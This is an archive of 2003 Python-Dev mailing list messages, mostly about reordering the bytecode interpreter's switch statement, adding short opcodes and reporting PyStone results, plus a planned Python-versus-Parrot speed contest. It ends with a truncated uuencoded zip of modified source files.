 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     32 days left
EuroPython 2003, Charleroi, Belgium:                       116 days left



From andrewm@object-craft.com.au  Fri Feb 28 10:28:55 2003
From: andrewm@object-craft.com.au (Andrew McNamara)
Date: Fri, 28 Feb 2003 21:28:55 +1100
Subject: [Python-Dev] new bytecode results
In-Reply-To: Message from "M.-A. Lemburg" <mal@lemburg.com>
 of "Fri, 28 Feb 2003 09:41:29 BST." <3E5F20B9.2040409@lemburg.com>
References: <b3ln75$grm$1@main.gmane.org> <3E5E7E97.5050403@lemburg.com> <20030227230017.6D2473CC5C@coffee.object-craft.com.au>  <3E5F20B9.2040409@lemburg.com>
Message-ID: <20030228102855.317113CC5C@coffee.object-craft.com.au>

>>>The last point is probably compiler dependent. GCC has the tendency
>>>to use the same layout for the assembler code as you use in the
>>>C source code, so placing often used code close to the top
>>>results in better locality (at least on my machines).
>> 
>> My experience with gcc (on x86) is that it uses a lookup table
>> for contiguous switch statements rather than a long chain of
>> compares/branches. A quick look at the assembler output from ceval.c
>> suggests it's using a lookup table. 
>
>Right, but the code for the case implementations itself is
>ordered (more or less) in the order you use in the C file. At
>least that was the case at the time (which must have been GCC
>2.95.x or even earlier).

Yeah - I think I must have been reading too fast - on second reading,
you clearly said "locality".

-- 
Andrew McNamara, Senior Developer, Object Craft
http://www.object-craft.com.au/


From amk@amk.ca  Fri Feb 28 13:57:10 2003
From: amk@amk.ca (A.M. Kuchling)
Date: Fri, 28 Feb 2003 08:57:10 -0500
Subject: [Python-Dev] Re: new bytecode results
In-Reply-To: <b3miuo$7v4$1@main.gmane.org>
References: <b3ln75$grm$1@main.gmane.org> <a05200f0dba8411be8b59@[63.120.19.221]> <b3m2un$7rv$1@main.gmane.org> <a05200f00ba84455b2bc8@[63.120.19.221]> <b3miuo$7v4$1@main.gmane.org>
Message-ID: <b3npr2$uiu$1@main.gmane.org>

Terry Reedy wrote:
> In any case, this seems to makes the contest one more of special-case
> optimization and less of general-case running time, and therefore of
> less relevance to users who want *their* programs to run faster with
> an out-of-the-box interpreter.

Indeed.  I suspect, though, that if the test program exercises a sizable
chunk of Python's functionality, we won't see a Parrot-based 
implementation that can run it.  2004 is a long time away, time enough 
for the PyPy effort to bear fruit.

Guido, when it comes time to write the benchmark program, please get in 
touch with me; I'd like to help produce a realistic test program.

--amk                                                    (www.amk.ca)
Orchestra: Anagram of carthorse.
       -- Peter Greenaway, _Rosa: The Death of a Composer_




From neal@metaslash.com  Fri Feb 28 14:27:13 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Fri, 28 Feb 2003 09:27:13 -0500
Subject: [Python-Dev] new bytecode results
In-Reply-To: <3E5F2260.3080808@lemburg.com>
References: <001301c2def2$09d374a0$6401a8c0@damien>
 <3E5F2260.3080808@lemburg.com>
Message-ID: <20030228142713.GW2041@epoch.metaslash.com>

On Fri, Feb 28, 2003 at 09:48:32AM +0100, M.-A. Lemburg wrote:
> damien morton wrote:
> >>From: M.-A. Lemburg [mailto:mal@lemburg.com] 
> >>
> >>Back in the 1.5.2 days I played a lot with the ceval loop and 
> >>the best results I got came from:
> >>
> >>b) splitting the switch statement in two: the first one for
> >>   more commonly used opcodes, the second one for less often
> >>   used opcodes
> >
> >
> >Are you suggesting something like: 
> >
> >switch (opcode) {
> > case COMMON_OP:
> > case COMMON_OP:
> > ...
> > default:
> >   handle_uncommon_ops();
> >}
> 
> That's hard to do because the loop has so many variables
> to pass into handle_uncommon_ops(). I haven't tried
> it though (or at least I don't remember trying it :-),
> so perhaps this is even better.

The patch I mentioned before did that, but for all opcodes.
You could apply only part of the patch.  That may yield better
results.  But for all opcodes it was worse.

http://python.org/sf/693638

Neal


From mwh@python.net  Fri Feb 28 15:07:37 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 28 Feb 2003 15:07:37 +0000
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <LCEPIIGDJPKCOIHOBJEPMEPPOCAA.mhammond@skippinet.com.au> ("Mark
 Hammond"'s message of "Thu, 27 Feb 2003 23:19:26 +1100")
References: <LCEPIIGDJPKCOIHOBJEPMEPPOCAA.mhammond@skippinet.com.au>
Message-ID: <2m7kbk30li.fsf@starship.python.net>

"Mark Hammond" <mhammond@skippinet.com.au> writes:

> [Michael]
>> It Would Be Nice (tm) if the code that printed tracebacks could be
>> made cleverer in some fashion.
>
> I guess this could be a 2-stage thing:
> * Delegate the dumping of tracebacks in C code back to the traceback module.
> I guess that the existing code would need to remain if an error is raised
> printing it, but in general, traceback does a fine job.

Yes, I've thought about this several times.  I always get scared by
the general copmlexity of it all, and bootstrapping issues.

> * Give linecache some additional smarts.  Once we are back in Python land,
> the possibilities become vast.

While we're at it, linecache's charming habit of occasionally giving
out of date information is Pure Evil.  Performance my arse, lying to
the user is worse.

Cheers,
M.

-- 
  Hey, if I thought I was wrong, I'd change my mind.  :)
                                    -- Grant Edwards, comp.lang.python


From dkwolfe@pacbell.net  Fri Feb 28 15:52:27 2003
From: dkwolfe@pacbell.net (Dan Wolfe)
Date: Fri, 28 Feb 2003 07:52:27 -0800
Subject: [Python-Dev] Re: new bytecode results
In-Reply-To: <b3npr2$uiu$1@main.gmane.org>
Message-ID: <A32C76BE-4B34-11D7-9319-003065ABC53C@pacbell.net>

Why wait?

In the last year of lurking on this list, I've seen requests for a good 
python benchmark no less than 4 times - the most recent being damien 
morton's attempt to prove/disprove his optimizations.

Having an "approved" good benchmark/realistic test program would make 
it easy to validate optimizations, and head off the consistent 'pystone 
is not a realistic benchmark' arguments that come up each time....

Besides, it will take a 6 months just to agree to a basic framework, 
and another 6 months to work around all the "competitive optimization 
tricks" timbot has up his sleeve...

just-looking-at-it-realistically,

- Dan

On Friday, February 28, 2003, at 05:57  AM, A.M. Kuchling wrote:

> Guido, when it comes time to write the benchmark program, please get 
> in touch with me; I'd like to help produce a realistic test program.



From newsgroups1@bitfurnace.com  Fri Feb 28 17:00:09 2003
From: newsgroups1@bitfurnace.com (Damien Morton)
Date: Fri, 28 Feb 2003 12:00:09 -0500
Subject: [Python-Dev] Re: new bytecode results
References: <001301c2def2$09d374a0$6401a8c0@damien> <3E5F2260.3080808@lemburg.com>
Message-ID: <b3o4ti$nsl$1@main.gmane.org>

> >>c) ordering cases in the switch statements by usage frequency
> >>    (using average opcode usage frequencs obtained by
> >>    instrumenting the interpreter)
> >
> > I might try a little simulated annealing to generate layouts with high
> > frequency opcodes near the front and coorcurring opcodes near each
> > other.
>
> I did that by hand, sort of :-) The problem is that the
> scoring phases takes rather long, so you better start with
> a good guess.

Im wondering what good scoring scheme would look like.

I tried a scoring scheme in which layouts were scored thusly:

for (i = 0; i < MAXOP; i++)
    for (j = 0; j < MAXOP; j++)
        score += pairfreq[layout[i]][layout[j]] * (i < j ? j-i : i-j)

This works fine, but Im thinking that a simpler scoring scheme which looks
only at the frequencies of adjacent ops might be sufficient, and would
certainly be faster.

for (i = 1; i < MAXOP; i++)
    score += pairfreq[layout[i-1]][layout[i]]

The idea is that while caches favour locality of reference, because a cache
line is finite in size and relatively small (16 or 64 bytes), there arent
any long-range effects. In other words, caches favour adjacency of reference
rather than locality of reference.






From newsgroups1@bitfurnace.com  Fri Feb 28 17:34:19 2003
From: newsgroups1@bitfurnace.com (Damien Morton)
Date: Fri, 28 Feb 2003 12:34:19 -0500
Subject: [Python-Dev] Re: new bytecode results
References: <001301c2def2$09d374a0$6401a8c0@damien> <3E5F2260.3080808@lemburg.com>
Message-ID: <b3o6tk$33j$1@main.gmane.org>

> > Are you suggesting a test for LOAD_FAST before the switch,
> >
> > e.g.
> > if (opcode == LOAD_FAST) {
> >  // load fast
> > }
> > else switch (opcode) {
> >  // body
> > }
>
> Yes.


Hmm, I might even be able to do something like this:

if (opcode >= LOAD_FAST_0) {
    oparg = opcode - LOAD_FAST_0;
    ...
    }
else switch (opcode) {
}


> Yes, except that in the default case the code is placed after the
> first switch.
>
> switch (opcode) {
>   case COMMON_OP:
>     goto nextInstruction;
>   case COMMON_OP:
>   ...
>     goto nextInstruction;
>   default:
>     ;
> }
>
> switch (opcode) {
>   case UNCOMMON_OP:
>   case UNCOMMON_OP:
> }
> goto nextInstruction;


Why would you do it as two consecutive switches, rather than two nested
switches? The current ceval code has nested switches for when CASE_TOO_BIG
is defined.


Hmmm.

I would guess that the handling of default within a switch is probably
highly optimised by the compiler, using if/then range tests. If we
structured the opcodes so that uncommon ops were a two-byte opcode, we could
do something like this:

switch (opcode) {
    default:
        load_fast(opcode - LOAD_FAST_0);
        goto nextInstruction;
    case COMMON_OP1:
        ...
        goto nextInstruction;
    case COMMON_OP2:
        ...
        goto nextInstruction;
    case UNCOMMON_OP:
        break;
}

opcode = NEXTBYTE();
switch(opcode) {
    case UNCOMMON_OP1:
        ...
        break;
    case UNCOMMON_OP2:
        ...
        break;
}

This would free up the opcode numeric space for fast/frequent ops with
immediate args encoded into them.














From skip@pobox.com  Fri Feb 28 17:48:38 2003
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 28 Feb 2003 11:48:38 -0600
Subject: [Python-Dev] Re: new bytecode results
In-Reply-To: <b3o6tk$33j$1@main.gmane.org>
References: <001301c2def2$09d374a0$6401a8c0@damien>
 <3E5F2260.3080808@lemburg.com>
 <b3o6tk$33j$1@main.gmane.org>
Message-ID: <15967.41206.496534.14529@montanaro.dyndns.org>

    >> > Are you suggesting a test for LOAD_FAST before the switch,
    >> >
    >> > e.g.
    >> > if (opcode == LOAD_FAST) {
    >> >  // load fast
    >> > }
    >> > else switch (opcode) {
    >> >  // body
    >> > }
    >> 
    >> Yes.


    Damien> Hmm, I might even be able to do something like this:

    Damien> if (opcode >= LOAD_FAST_0) {
    Damien>     oparg = opcode - LOAD_FAST_0;
    Damien>     ...
    Damien>     }
    Damien> else switch (opcode) {
    Damien> }


I think you want "&& opcode <= LOAD_FAST_15" in there somewhere, or
something to cap the range of the test.  Now you've increased the cost of
the check, maybe making it no longer worthwhile.

Skip


From dan@sidhe.org  Fri Feb 28 17:07:20 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Fri, 28 Feb 2003 12:07:20 -0500
Subject: [Python-Dev] Re: new bytecode results
In-Reply-To: <b3miuo$7v4$1@main.gmane.org>
References: <b3ln75$grm$1@main.gmane.org>
 <a05200f0dba8411be8b59@[63.120.19.221]> <b3m2un$7rv$1@main.gmane.org>
 <a05200f00ba84455b2bc8@[63.120.19.221]> <b3miuo$7v4$1@main.gmane.org>
Message-ID: <a05200f01ba85400d1962@[63.120.19.221]>

At 9:59 PM -0500 2/27/03, Terry Reedy wrote:
>"Dan Sugalski" <dan@sidhe.org> wrote in message
>news:a05200f00ba84455b2bc8@[63.120.19.221]...
>>  We've still got to hash out the details,  but in december someone'll
>>  generate a bytecode file for the program(s) we're going to be
>>  running. We both get to run converters/optimizers over them if we
>>  choose.
>
>I find this a bit surprising.  The problems of teaching to the test
>and programming to the benchmark are well-known.  I presume the
>extreme of 'optimizing' the bytecode down to a single byte (that calls
>a custom compiled-to-machine-code function) will be disallowed.  But I
>wonder how and where you plan to draw the line between that and
>out-of-the-box behavior.

I find your trust in my personal integrity refreshing. Putting that 
aside, Guido isn't particularly interested in looking like a fool in 
public, and we've already agreed that the dirty tricks that are often 
used won't be, since that's not the point.

Make no mistake, I fully plan on winning, as resoundingly as I can 
manage. I'm not going to cheat, though, and I don't want there to be 
any doubt on either side as to the results. There'll be at least full 
disclosure on my part as to what the parrot bytecode I execute looks 
like. While I can't speak for Guido (and we've not talked about this 
bit) I expect he'll do the same.

>  > Then at the 2004 OSCON we'll run the converted programs and
>
>With enough 'conversion', the result could be seen as no longer being
>a compilation of standard Python, but of a variant with type
>declarations and pragmas added and certain dynamic features deleted.
>In any case, this seems to makes the contest one more of special-case
>optimization and less of general-case running time, and therefore of
>less relevance to users who want *their* programs to run faster with
>an out-of-the-box interpreter.

What it means is that I don't have to build a python bytecode loader 
into the stock parrot, or weld the Python parser into it. It also 
means that if Guido rolls out some sort of Miracle Technology or 
major bytecode revision between the time the challenge code is 
generated he can run a transition program on it. Works both ways.

I for one don't plan on doing much past writing a simple stack model 
to register model conversion program, though I might give a run with 
the code in pure stack mode just for chuckles. Don't overestimate how 
much effort I'm going to put into this, please.

>  > whichever takes less time (we've not set whether it's wall or CPU
>>  time, though I'm tempted to go for CPU so neither gets penalized for
>  > the odd background task that might be running) wins.
>
>From my user viewpoint, I am more interested in total time from source
>input to finish.

We'll measure both, I'm sure. The bigger question is whether it's 
fair to be penalized by other things running in the background, 
though I expect we'll do multiple runs and average or something to 
account for that. Still, it'd suck to lose because a cron job fired 
up and snagged 20% of the CPU and saturated the disk channel during 
the test run, so wall time may be collected but not count. We'll see.

>  > The official details, limits, and pie flavors will likely be set at
>>  this summer's OSCON.
>
>Will you allow runtime compilation (as with psyco)?
>How about pre-contest dynamic compilation?  (I believe Armin plans to
>add a save/restore feature).
>What if psyco-like dynamic compilation is a 'stock' feature of one
>system and not the other?

If it's in the stock python interpreter or parrot interpreter, it's 
fair game. (We've agreed that latest CVS checkout versions are 
acceptable) If by the time the contest rolls around you have some 
form of JIT technology, great. If Parrot's got JIT versions of the 
python ops, good for us. If one of us does and the other doesn't, 
well... the results may be somewhat lopsided. Or not, as JITs 
certainly aren't a panacea.
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From dan@sidhe.org  Fri Feb 28 17:05:16 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Fri, 28 Feb 2003 12:05:16 -0500
Subject: [Python-Dev] Re: new bytecode results
In-Reply-To: <b3npr2$uiu$1@main.gmane.org>
References: <b3ln75$grm$1@main.gmane.org>
 <a05200f0dba8411be8b59@[63.120.19.221]> <b3m2un$7rv$1@main.gmane.org>
 <a05200f00ba84455b2bc8@[63.120.19.221]> <b3miuo$7v4$1@main.gmane.org>
 <b3npr2$uiu$1@main.gmane.org>
Message-ID: <a05200f02ba8541035326@[63.120.19.221]>

At 8:57 AM -0500 2/28/03, A.M. Kuchling wrote:
>Terry Reedy wrote:
>>In any case, this seems to makes the contest one more of special-case
>>optimization and less of general-case running time, and therefore of
>>less relevance to users who want *their* programs to run faster with
>>an out-of-the-box interpreter.
>
>Indeed.  I suspect, though, that if the test program exercises a sizable
>chunk of Python's functionality, we won't see a Parrot-based 
>implementation that can run it.  2004 is a long time away, time 
>enough for the PyPy effort to bear fruit.

The challenge is core interpreter speed, so if the challenge programs 
use that and Parrot can't cope, I lose and pie will be flung. If the 
PyPy stuff gives a good turbo boost to the python core, great, 
that'll make it more challenging.
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From dan@sidhe.org  Fri Feb 28 18:33:45 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Fri, 28 Feb 2003 13:33:45 -0500
Subject: [Python-Dev] Re: new bytecode results
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEHHDPAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEHHDPAB.tim.one@comcast.net>
Message-ID: <a05200f03ba854764d1dc@[63.120.19.221]>

At 10:21 PM -0500 2/27/03, Tim Peters wrote:
>[Terry Reedy]
>>  ...
>>  The problems of teaching to the test and programming to the benchmark
>>  are well-known.
>>  ...
>>  Your contest, my questions and comments.
>
>Not to worry -- I made my living for 15 years writing optimizing compilers
>in the highly competitive (at the time -- it competed itself to death)
>supercomputer biz.  I've forgotten more dirty tricks than even a Perl guy
>can pick up in a lifetime <wink>.

Yes, Tim, but the question isn't how much you've forgotten. It's how 
much you still *remember*... :-)

I expect you to keep us honest, so I expect I'd better 
unconditionally buy you a beer so as to maintain your neutrality. ;)
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From mnot@mnot.net  Fri Feb 28 18:58:11 2003
From: mnot@mnot.net (Mark Nottingham)
Date: Fri, 28 Feb 2003 10:58:11 -0800
Subject: [Python-Dev] syntax for funcion attributes
Message-ID: <006101c2df5b$5bbc72d0$a502200a@mnotlaptop>

Hello,

I'm not a python-dev regular, so sorry if this is a FAQ. What's the status
of defining a syntax for function attributes (PEP 232)? I'm using __doc__
to carry metadata about methods right now, but would very much like to use
function attributes. However, without a specialized syntax, I'm stuck
doing things like

VeryLongMethodName.MetadataName = "foo"

which is fine if it's a one-off, but I'd like others to use the code, and
this isn't exactly a friendly mechanism. The proposals in the PEP would be
fine; I was thinking something like

def foo(a):
    """this is the docstring"""
    .this_is_a_function_attribute = 1

but that's just off the top of my head.

I'm happy to do some work writing a PEP if there's some consensus about
what syntax would be preferable.

Cheers,

--
Mark Nottingham



From newsgroups1@bitfurnace.com  Thu Feb 27 10:14:18 2003
From: newsgroups1@bitfurnace.com (Damien Morton)
Date: Thu, 27 Feb 2003 05:14:18 -0500
Subject: [Python-Dev] new bytecode results
Message-ID: <b3kooi$gaj$1@main.gmane.org>

I tried adding a variety of new instructions to the PVM, initially with a
code compression goal for the bytecodes, and later with a performance goal.

definitions:
USING_LOAD_FAST_N
    accesses to locals with an index<16 using a one byte instruction (no
oparg)
USING_LOAD_CONST_N
    accesses to consts with an index<16 using a one byte instruction (no
oparg)
USING_STORE_FAST_N
    accesses to locals with an index<16 using a one byte instruction (no
oparg)
USING_SHORT_CMP
    compare ops using a one byte instruction (no oparg)

PyStone score for best of 10 runs.

umodified 2.3a2 22200

using enum, 22200 (compacting the opcode numeric space using an enum instead
of #defines)

USING_LOAD_FAST_N 22700
USING_LOAD_CONST_N 22400
USING_STORE_FAST_N 22400
USING_LOAD_FAST_N, USING_LOAD_CONST_N 22350
USING_LOAD_FAST_N, USING_STORE_FAST_N, 22000
USING_LOAD_FAST_N, USING_LOAD_CONST_N, USING_STORE_FAST_N 22200

USING_SHORT_CMP 21500

USING_LOAD_FAST_N, USING_LOAD_CONST_N, USING_STORE_FAST_N, USING_SHORT_CMP
22000


Conclusions:

While reducing the size of compiled bytecodes by about 1%, the proposed
modifications at best increase performance by 2%, and at worst reduce
performance by 3%.

Enabling all of the proposed opcodes results in a 1% performance loss.

In general, it would seem that adding opcodes in bulk, even if many opcodes
switch to the same labels, results in a minor performance loss.

Running PyStone under windows results in a fairly large variation in
results. Ive attached a zip file containing the source files I modified. If
someone would like to try this code on their systems, I would be grateful to
know what kind of results they achieve.

The various proposed opcodes are controlled by a set of #defines in the file
opcode.h


Next steps:

The results of my static analysis indicate that the indices used on
LOAD_FAST, LOAD_CONST, STORE_FAST are almost always small. There may be some
benefit to optimising these instructions to use single byte opargs.

The results of my static and dynamic analysis indicate that the (COMPARE_OP,
JUMP_IF_FALSE, POP_TOP) pattern is highly used. Im looking at what changes
would need to be made to the compiler to remove the need for this sequence
of instructions.






begin 666 source.zip
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
